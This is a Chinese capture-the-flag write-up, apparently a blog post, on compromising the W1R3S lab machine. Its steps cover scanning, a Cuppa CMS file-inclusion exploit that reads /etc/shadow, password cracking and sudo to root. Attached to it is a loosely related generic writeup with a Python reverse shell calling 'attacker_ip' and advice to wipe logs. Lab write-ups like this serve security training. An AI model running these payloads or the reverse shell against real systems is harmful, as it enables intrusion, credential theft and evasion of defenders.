【每日打靶练习】靶机渗透实操-W1R3S(易)

本文详细介绍了一次针对W1R3S靶机的渗透测试过程,包括部署靶机、信息收集、端口扫描、漏洞扫描、ftp渗透、web渗透等步骤,并最终实现本地提权。

0x00部署

W1R3S靶机: 下载地址
下载好导入Vmware即可,网络配置修改为NAT模式。
宿主机使用:kali2022

0x01信息收集

1.识别靶机ip

使用非root用户进行渗透,保持良好习惯

$ sudo arp-scan -l

在这里插入图片描述
扫描也可以使用以下指令:

$ ifconfig //查看本机的ip
$ sudo nmap -sn ip所在网段

在这里插入图片描述

但是这个会比arp多出一个ip,不知道是哪个的??,根据之前扫描的结果,可以推断出靶机应该是148。

2.靶机端口扫描

$ sudo nmap --min-rate 10000 -p- ip

使用最小速率为10000来扫描靶机ip开放端口,端口数量为65536个,所以设置10000的速率来进行扫描,其默认是tcp扫描。

在这里插入图片描述
开放端口有:21-ftp,22-ssh,80-http,3306-mysql

$ sudo nmap -sT -sV -O -p21,22,80,3306 ip

-sT Tcp扫描
-sV 命令查看端口开放服务所用version
-O 查看系统
扫描至少扫两遍,保持好习惯

在这里插入图片描述

UDP虽然不可靠,但是不能忽视,再对udp服务进行扫描

$ sudo nmap -sU -p21,22,80,3306 ip

在这里插入图片描述

可以确定开放的端口还是21,22,80,3306(udp的没开)

3.漏洞扫描

$ sudo nmap --script=vuln -p21,22,80,3306 ip  //不知道为啥,速度挺慢的

在这里插入图片描述

wordpress是一种php语言开发的内容管理平台,可看作CMS

4.ftp渗透

在这里插入图片描述
尝试ftp匿名连接一下靶机,用户名为anonymous,密码为空,成功进入。
在这里插入图片描述

binary指令执行之后,可执行文件不会因为使用ftp协议下载而导致文件损坏(.txt文件不会坏)
ls查看当前目录,看到有三个目录,依次进入查看

在这里插入图片描述

mget 将文件下载到本地,所有目录下边的内容都下载后,exit退出。

在这里插入图片描述
返回本地使用cat依次查看下载的文件
01.txt:
在这里插入图片描述
02.txt:得到两串疑似加密的字符
在这里插入图片描述

$ hash identifier ‘加密字符’  //可以对加密字符的加密方法进行判断,这里得到的md5加密

在这里插入图片描述
在这里插入图片描述

找了一个在线md5解密,结果:This is not a password,所以这里不是密码

另一个字符可以看到后边=符号,一般就是base64编码,使用指令进行解密,
在这里插入图片描述
03.txt:一个banner
在这里插入图片描述
employee-names.txt:这里存放的w1r3s这个公司很多人名信息及职位,可能是有用的数据,记录一下。
在这里插入图片描述
worktodo.txt:
在这里插入图片描述

这里可能需要前后及上下的翻转:

$ echo ' ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡'|rev 
//前后翻转指令,上下翻转使用图片编辑来实现

在这里插入图片描述

翻转之后,意识到这里可能没什么信息了—》80

0x02 web渗透

1.访问web页面

访问一下目标ip的80端口:进入到了apache的默认页面,没什么其他信息。
在这里插入图片描述

2.扫描页面

利用工具feroxbuster来进行页面扫描,需要先下载。

sudo feroxbuster -u http://ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
//-w来匹配字典

在这里插入图片描述

对其中的/wordpress & /administrator目录进行访问,发现wordpress无法访问
在这里插入图片描述

对administrator进行访问进入到一个安装目录下,检查,在添加信息之后发现没有创建的权限。
在这里插入图片描述
在这里插入图片描述
对页面上的信息cuppa cms进行匹配,获取到一条信息xxx.txt,检查一下,发现cuppa cms这个存在文件包含漏洞。

$ searchsploit cuppa cms
$ searchsploit cuppa cms -m xxx.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.文件包含利用

根据文件中的内容提示,可以尝试对http://ip/administrator进行包含利用:
利用Exploit中的payloads:

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

这里的target就是靶机ip,cuppa是显示cuppa信息的访问页面,即administrator。访问之后成功显示到包含,尝试利用kali指令读取

在这里插入图片描述
利用curl访问,curl 是用于在本地计算机与远程服务器之间传输数据的命令行工具。

sudo curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://ip/administrator/alerts/alertConfigField.php |html2text

html2text是一个python脚本,它将一页html转换成干净、易于阅读的纯ascii文本,格式化一下内容。

发现可以读取到内容,
在这里插入图片描述
试试读一下/etc/shadow文件,该文件存放用户名密码,得到了很像密码的两部分信息,分别对应着www-data用户-加密密码,w1r3s用户-加密密码,
在这里插入图片描述
在这里插入图片描述
利用hash-identifier检查一下,发现没找到,使用john来破解系统密码
在这里插入图片描述

4.john破解

将上边的信息存放到hash文件中,再使用指令john hash进行破解:
在这里插入图片描述
分别得到:
用户www-data,密码:www-data
用户w1r3s,密码:computer

5.本地提权

ssh22端口开放,所以可利用得到的客户端用户名以及靶机ip来进行ssh连接:

命令格式: ssh 客户端用户名@服务器ip地址

在这里插入图片描述

远程连接成功,已切换至w1r3s用户。

$ sudo whoami //查看一下当前用户是谁
$ uname -a //查看系统状态
$ sudo -l //查看当前用户权限

在这里插入图片描述

发现当前用户具有所有权限:(ALL:ALL)ALL,直接切换至root用户

$ sudo /bin/bash //可用系统命令执行bash,获取root权限

访问一下root目录,找到flag
在这里插入图片描述
在这里插入图片描述

### derpnstink 靶机渗透测试 CTF Writeup #### 初始信息收集 对于任何渗透测试活动,初始的信息收集阶段至关重要。在这个阶段,目标是尽可能多地了解目标系统 `derpnstink` 的公开可用信息。这通常涉及使用工具如 Nmap 进行端口扫描来识别开放的服务和版本。 ```bash nmap -A derpnstink ``` 上述命令会执行一个带有作系统检测、版本检测、脚本扫描以及 traceroute 功能的全面扫描[^1]。 #### 枚举服务漏洞 一旦获得了关于哪些服务正在运行的信息,下一步就是针对这些特定服务进行更深入的研究。例如,如果发现了一个 Web 服务器,则可以利用诸如 Nikto 或者 Dirbuster 工具来进行进一步枚举: ```bash nikto -h http://derpnstink/ dirb http://derpnstink/ wordlist.txt ``` 这里假设存在 HTTP(S) 协议上的 web 应用程序,并尝试通过字典攻击寻找隐藏目录或文件[^2]。 #### 漏洞利用准备 当找到潜在可被利用的安全弱点之后,就需要查阅 CVE 数据库或其他资源确认具体细节并下载相应的 exploit 脚本。Metasploit 是一个非常流行的框架,在其中可能已经包含了所需的模块可以直接调用;当然也可以自己编写 Python/Ruby 等语言现自定义 payload 发送逻辑。 #### 获取初步访问权限 成功发送恶意载荷后,可能会得到一个低级别用户的 shell 访问权。此时应当立即稳定住这个连接(比如反向 TCP Shell),以便后续作更加方便可靠[^3]. ```python import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attacker_ip",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); ``` 这段代码展示了如何建立一个简单的 Python 反弹shell 来维持与受控主机之间的交互式 session[^4]. #### 提升权限 Privilege Escalation 获得最初的立足点只是第一步而已,很多时候还需要想办法提权成为管理员账户才能完成最终的目标——读取 flag 文件内容。这时就要考虑是否存在配置错误、弱密码或者其他未打补丁的内核级 bug 等情况了。 #### 清理痕迹 Cover Tracks 最后但同样重要的是,在退出之前务必清理掉所有留下的日志记录和其他能够暴露身份特征的东西,以免留下不必要的麻烦给防守方人员带来困扰。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值